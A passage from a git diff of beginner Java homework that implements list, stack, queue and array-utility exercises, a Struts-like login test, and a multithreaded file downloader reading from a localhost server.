+	private int index = 0;
+	public LinkedListiterator(LinkedList link) {
+		this.link = link;
+	}
+	public boolean hasNext() {
+		if(link==null){
+			return false;
+		}
+		if(index<link.size()){
+			return true;
+		}
+		return false;
+	}
+
+	public Object next() {
+	
+		return link.get(index++);
+		
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
new file mode 100644
index 0000000000..bccc479faf
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
@@ -0,0 +1,9 @@
+package com.skomefen.list;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
new file mode 100644
index 0000000000..197bf72cbe
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
@@ -0,0 +1,26 @@
+package com.skomefen.list;
+
+public class Queue {
+	ArrayList elementData = new ArrayList(); 
+	public void enQueue(Object o){	
+		elementData.add(o);
+	}
+	
+	public Object deQueue(){
+		
+		if(elementData.size()!=0)
+			return elementData.remove(0);
+		return null;
+		
+	}
+	
+	public boolean isEmpty(){
+		if(elementData.size()==0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
new file mode 100644
index 0000000000..088058fa3b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
@@ -0,0 +1,28 @@
+package com.skomefen.list;
+
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		return elementData.remove(elementData.size()-1);
+	}
+	
+	public Object peek(){
+		return elementData.get(elementData.size()-1);
+	}
+	public boolean isEmpty(){
+		if(elementData.size()==0)
+			return true;
+		return false;
+	}
+	public int size(){
+		return elementData.size();
+	}
+	
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
new file mode 100644
index 0000000000..dd10439beb
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
@@ -0,0 +1,109 @@
+package com.skomefen.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import com.skomefen.list.ArrayList;
+import com.skomefen.list.Iterator;
+import com.skomefen.list.LinkedList;
+import com.skomefen.list.Queue;
+import com.skomefen.list.Stack;
+
+
+
+
+
+
+public class test {
+
+	@Test
+	public void arrayListTest() {
+		ArrayList array = new ArrayList();
+		for(int i=0;i<200;i++){
+			array.add(""+i);
+		}
+		System.out.println(array);
+		for(int i=0;i<200;i++){
+			array.add(i,""+(i+1));
+		}
+		System.out.println(array);
+
+		array = new ArrayList();
+		array.add(1);
+		array.add(3);
+		array.add(4);
+
+		array.add(1,2);
+		System.out.println(array);
+		System.out.println(array.get(2));
+		System.out.println(array.size());
+
+		System.out.println(array.remove(2));
+		System.out.println(array);
+		
+		Iterator iterator = array.iterator();
+		while(iterator.hasNext()){
+			System.out.println(iterator.next());
+		}
+	}
+	
+	@Test
+	public	void StackTest(){
+		Stack s = new Stack();
+		System.out.println(s.isEmpty());
+		s.push("1");
+		s.push("2");
+		s.push("3");
+		System.out.println(s.peek());		
+		System.out.println(s.size());
+
+		System.out.println(s.pop());
+		System.out.println(s.peek());
+		System.out.println(s.size());
+		System.out.println(s.isEmpty());
+		
+
+	}
+	
+	@Test
+	public void QueueTest(){
+		Queue queue = new Queue();
+		queue.enQueue(1);
+		queue.enQueue(2);
+		queue.enQueue(3);
+		
+		assertEquals(false,queue.isEmpty());
+		assertEquals(3, queue.size());
+		assertEquals(1,queue.deQueue());
+		assertEquals(2,queue.deQueue());
+		assertEquals(1, queue.size());
+		assertEquals(3,queue.deQueue());
+		assertEquals(true,queue.isEmpty());
+
+	}
+	
+	@Test
+	public void LinkedListTest(){
+		LinkedList link = new LinkedList();
+		for(int i=0;i<10;i++){
+			link.add(""+i);
+		}
+		for(int i=0;i<10;i++){
+			System.out.println(link.get(i));
+		}
+		System.out.println(link);
+		System.out.println(link.remove(0));
+		System.out.println(link.remove(1));
+		Iterator iterator = link.iterator();
+		while(iterator.hasNext()){
+			System.out.print(iterator.next()+",");
+		}
+		link.add(0,1.1);
+		link.add(1,1.2);
+		System.out.println(link);
+		
+		
+		
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
new file mode 100644
index 0000000000..f1d0af35b9
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
@@ -0,0 +1,117 @@
+package com.coderising.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		int[] reverse = new int[origin.length];
+		for(int i=0;i<reverse.length;i++){
+			reverse[i]=origin[origin.length-i];
+		}
+		for(int i=0;i<reverse.length;i++){
+			reverse[i]=origin[i];
+		}
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int rz[]=null;
+		int index = 0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				index++;
+			}
+		}
+		rz = new int[index];
+		index=0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				rz[index]=oldArray[i];
+				index++;
+			}
+		}
+		return rz;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..847b3ae7d4
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,54 @@
+package com.coderising.litestruts;
+
+
+
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+       
+	
+        View view = Struts.runAction(actionName,params);
+	 
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一�?
+        
+
+        View view = Struts.runAction(actionName,params);
+	   
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..66024b0ccf
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,65 @@
+package com.coderising.download;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	private Connection conn;
+	private int startPos;
+	private int endPos;
+	private byte[] b = null;
+	private static Lock lock = new ReentrantLock();
+	private static int index=0;
+	
+	static FileOutputStream file = null;
+	static{
+		try {
+			file = new FileOutputStream(new File("e://readme.txt"));
+		} catch (FileNotFoundException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		try {
+			this.b =  conn.read(startPos, endPos);
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			conn.close();
+		}
+
+	}
+	public void  run(){	
+		if(lock.tryLock()){
+			if(index==startPos){
+				try {
+					if (file!=null) {
+						file.write(b);
+					}
+					index=endPos+1;
+				} catch (IOException e) {
+					e.printStackTrace();
+					throw new RuntimeException();
+				}
+	
+			}else{
+				lock.unlock();
+			}
+		}
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..ed4a1cf9a1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,89 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			if(length%3==0){
+				for(int i=1;i<=3;i++){
+					int startPos = length/3*i-1;
+					int endPos = length/3*(i-1);
+					new DownloadThread(conn, endPos, startPos).start();
+				}
+			}else{
+				for(int i=1;i<=2;i++){
+					
+					int startPos = length/3*(i-1);
+					int endPos = length/3*i-1;
+					new DownloadThread(conn, startPos, endPos).start();
+				}
+				int startPos = length/3*2;
+				new DownloadThread(conn, startPos, length).start();
+			}
+			
+			listener.notifyFinished();
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ce99026d2b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,58 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..3982b8e310
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,24 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 * 
+	 */
+	public void close();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..ae639d2651
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,143 @@
+package com.coderising.download.impl;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private String url = null;
+	private InputStream in = null;
+
+
+	public ConnectionImpl(String url) {
+		this.url = url;
+		
+		
+	}
+
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		try {
+			if(url==null||url.trim()==""){
+				return null;
+			}
+			
+			URL u = new URL(url);
+			in = u.openStream();
+			
+			
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		
+		if(in==null){
+			return null;
+		}
+		byte[] read = insert(startPos, endPos);
+
+		return read;
+	}
+
+	private byte[] insert(int startPos, int endPos) throws IOException {
+		byte[] b = new byte[1024];
+		int len = 0;
+		int index = 0;
+		byte[] read = new byte[endPos-startPos+1];
+		
+		while((len=in.read(b))>0){
+			if((index+1024)<=startPos){
+				index+=1024;
+				continue;
+			}
+			
+			if(index<=startPos&&startPos<(index+1024)){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=startPos-index;i<read.length;i++,j++){
+						read[i]=b[j];
+					}
+					index+=1024;
+					break;
+				}else{
+				
+					for(int i=0,j=startPos-index;i<(index+1024-startPos);i++,j++){
+						read[i]=b[j];
+					}
+				}
+				
+			}
+			
+			if(startPos<index){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=index-startPos;i<(endPos-index+1);i++,j++){
+						read[j] = b[i];
+					}
+					index+=1024;
+					break;
+
+				}
+				
+				for(int i=0,j=index;i<1024;i++,j++){
+					read[j] = b[i];
+				}
+				
+			}
+			
+			
+			index+=1024;
+		}
+		return read;
+	}
+
+	public int getContentLength() {
+		
+		if(url==null||url.trim()==""){
+			return 0;
+		}
+		
+		try{
+		
+		URL u = new URL(url);
+		in = u.openStream();
+		if(in==null){
+			return 0;
+		}
+		int length = in.available();
+		return length;
+		}catch(Exception e){
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			try {
+				if(in!=null){
+					in.close();
+				}
+			} catch (IOException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+		}
+		
+	}
+
+	public void close() {
+		
+
+		try {
+			if(in!=null){
+				in.close();
+			}
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..a338036bf8
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,16 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	Connection conn = null;
+	
+	public Connection open(String url) throws ConnectionException {
+		
+		return conn = new ConnectionImpl(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
new file mode 100644
index 0000000000..dcd1254a2a
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
@@ -0,0 +1,92 @@
+/**
+ * 
+ */
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.impl.ConnectionImpl;
+
+/**
+ * @author Oliver
+ *
+ */
+public class ConnectionImplTest {
+	
+	Connection conn = null;
+	InputStream in = null;
+	
+	@Before
+	public void setUp() throws Exception {
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		conn = new ConnectionImpl(url);
+		
+		URL u = new URL(url);
+		in =  u.openStream();
+	}
+
+	
+	@After
+	public void tearDown() throws Exception {
+	}
+
+
+	@Test
+	public void testRead() throws IOException {
+		
+		byte[] connbuffer = conn.read(0, 99);
+		Assert.assertEquals(100, connbuffer.length);
+		byte[] connbuffer2 = conn.read(0, 99);
+		Assert.assertArrayEquals(connbuffer,connbuffer2);
+		
+		
+		byte[] b = new byte[100];
+		in.read(b);
+
+		Assert.assertArrayEquals(b, conn.read(0, 99));
+		
+		byte[] b1 = new byte[50];
+		for(int i=0;i<50;i++){
+			b1[i]=b[50+i];
+		}
+		
+		Assert.assertArrayEquals(b1, conn.read(50, 99));
+		
+		
+
+	}
+
+
+	@Test
+	public void testGetContentLength() throws Exception {
+		
+		byte[] b = new byte[1024];
+		int len = 0;
+		int count = 0;
+		while((len=in.read(b))>0){
+			count+=len;
+		}
+		Assert.assertEquals(count, conn.getContentLength());
+		
+	}
+
+
+	@Test
+	public void testClose() {
+		conn.close();
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
new file mode 100644
index 0000000000..589c1bf1d2
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
@@ -0,0 +1,31 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionImpl;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class ConnectionManagerImplTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+
+	@Test
+	public void testOpen() throws ConnectionException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
new file mode 100644
index 0000000000..5ae230e97b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
@@ -0,0 +1,77 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+
+
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.DownloadThread;
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class DownloadThreadTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void testRun() throws ConnectionException, IOException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+		DownloadThread dt = new DownloadThread(conn, 0, conn.getContentLength());
+		dt.start();
+		
+		File file = new File("e://readme.txt");
+		FileInputStream in  = new FileInputStream(file);
+		byte[] b = new byte[10];
+		int len = 0;
+		ArrayList<byte[]> a = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a.add(b);
+		}
+
+		int length = conn.getContentLength();
+		if(length%3==0){
+			for(int i=1;i<=3;i++){
+				int startPos = length/3*i-1;
+				int endPos = length/3*(i-1);
+				new DownloadThread(conn, endPos, startPos).start();
+			}
+		}else{
+			for(int i=1;i<=2;i++){
+				
+				int startPos = length/3*(i-1);
+				int endPos = length/3*i-1;
+				new DownloadThread(conn, startPos, endPos).start();
+			}
+			int startPos = length/3*2;
+			new DownloadThread(conn, startPos, length).start();
+		}
+		
+		file = new File("e://readme.txt");
+		in  = new FileInputStream(file);
+		b = new byte[10];
+		len = 0;
+		ArrayList<byte[]> a1 = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a1.add(b);
+		}
+		for(int i = 0;i<a.size()||i<a1.size();i++){
+			Assert.assertArrayEquals(a.get(i), a1.get(i));
+		}
+		
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/ArrayList.java b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
new file mode 100644
index 0000000000..bf8da9cccc
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
@@ -0,0 +1,98 @@
+package com.coding.datastructs;
+
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = null;
+	
+	public ArrayList(){
+		size=0;
+		elementData=new Object[10];
+	}
+	
+	public void add(Object o){
+		size();
+		elementData=grow(elementData,1);
+		elementData[size] = o;
+	}
+	public void add(int index, Object o){
+		 size();
+		if (index >size || index < 0||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		Object temp = elementData;
+		elementData=grow(elementData,1);  // Increments modCount!!
+		System.arraycopy(temp, index, elementData, index + 1,
+				 size - index);
+		elementData[index] = o;
+	}
+	
+	public Object get(int index){
+		size();
+		if (index > size || index < 0 ||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		return elementData[index];
+	}
+	
+	public Object remove(int index){
+		size();
+		if (index > size || index < 0 ||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		Object tempData = elementData[index];
+		System.arraycopy(elementData, index+1, elementData, index,
+				 size - index);
+		return tempData;
+	}
+	
+	public int size(){
+		for(int i=0;i<elementData.length;i++){
+			if(null==elementData[i]){
+				size=i;
+				break;
+			}
+		}
+		return size;
+	}
+	public static Object[] grow(Object[] src,int size){
+		Object[] target = new Object[src.length+size];
+		System.arraycopy(src, 0, target, 0, src.length);
+		return target;
+	} 
+	public Iterator iterator(){
+		return new Itera();
+	}
+	private class Itera implements Iterator{
+		int cursor; 
+		int lastRet = -1; 
+
+		
+		public boolean hasNext() {
+			size();
+			// TODO Auto-generated method stub
+			return cursor!=size;
+		}
+		public Object next() {
+			// TODO Auto-generated method stub
+			int i = cursor;
+            if (i >= size)
+                throw new NoSuchElementException();
+            Object[] elementData = ArrayList.this.elementData;
+            if (i >= elementData.length)
+                throw new ConcurrentModificationException();
+            cursor = i + 1;
+            return  elementData[lastRet = i];
+		}
+
+		
+}
+	
+	
+	
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/Iterator.java b/group23/1246614258/src/com/coding/datastructs/Iterator.java
new file mode 100644
index 0000000000..56acec15a3
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.datastructs;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/LinkedList.java b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
new file mode 100644
index 0000000000..cd5de44121
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
@@ -0,0 +1,229 @@
+package com.coding.datastructs;
+
+public class LinkedList implements List{
+
+	private Node head;
+	private int size ;
+
+	public LinkedList() {
+		size = 0;
+		head=new Node();
+	}
+
+	public void add(Object o) {
+		Node pnew = new Node();
+		pnew.setData(o);
+		pnew.next = null;
+		if(null==head.getNext()){
+			head.setNext(pnew);
+			return;
+		}
+		Node ptr = head.getNext();
+		Node ptr1 = new Node();
+		
+		while (ptr != null) {
+			ptr1 = ptr;
+			ptr = ptr.getNext();
+		}
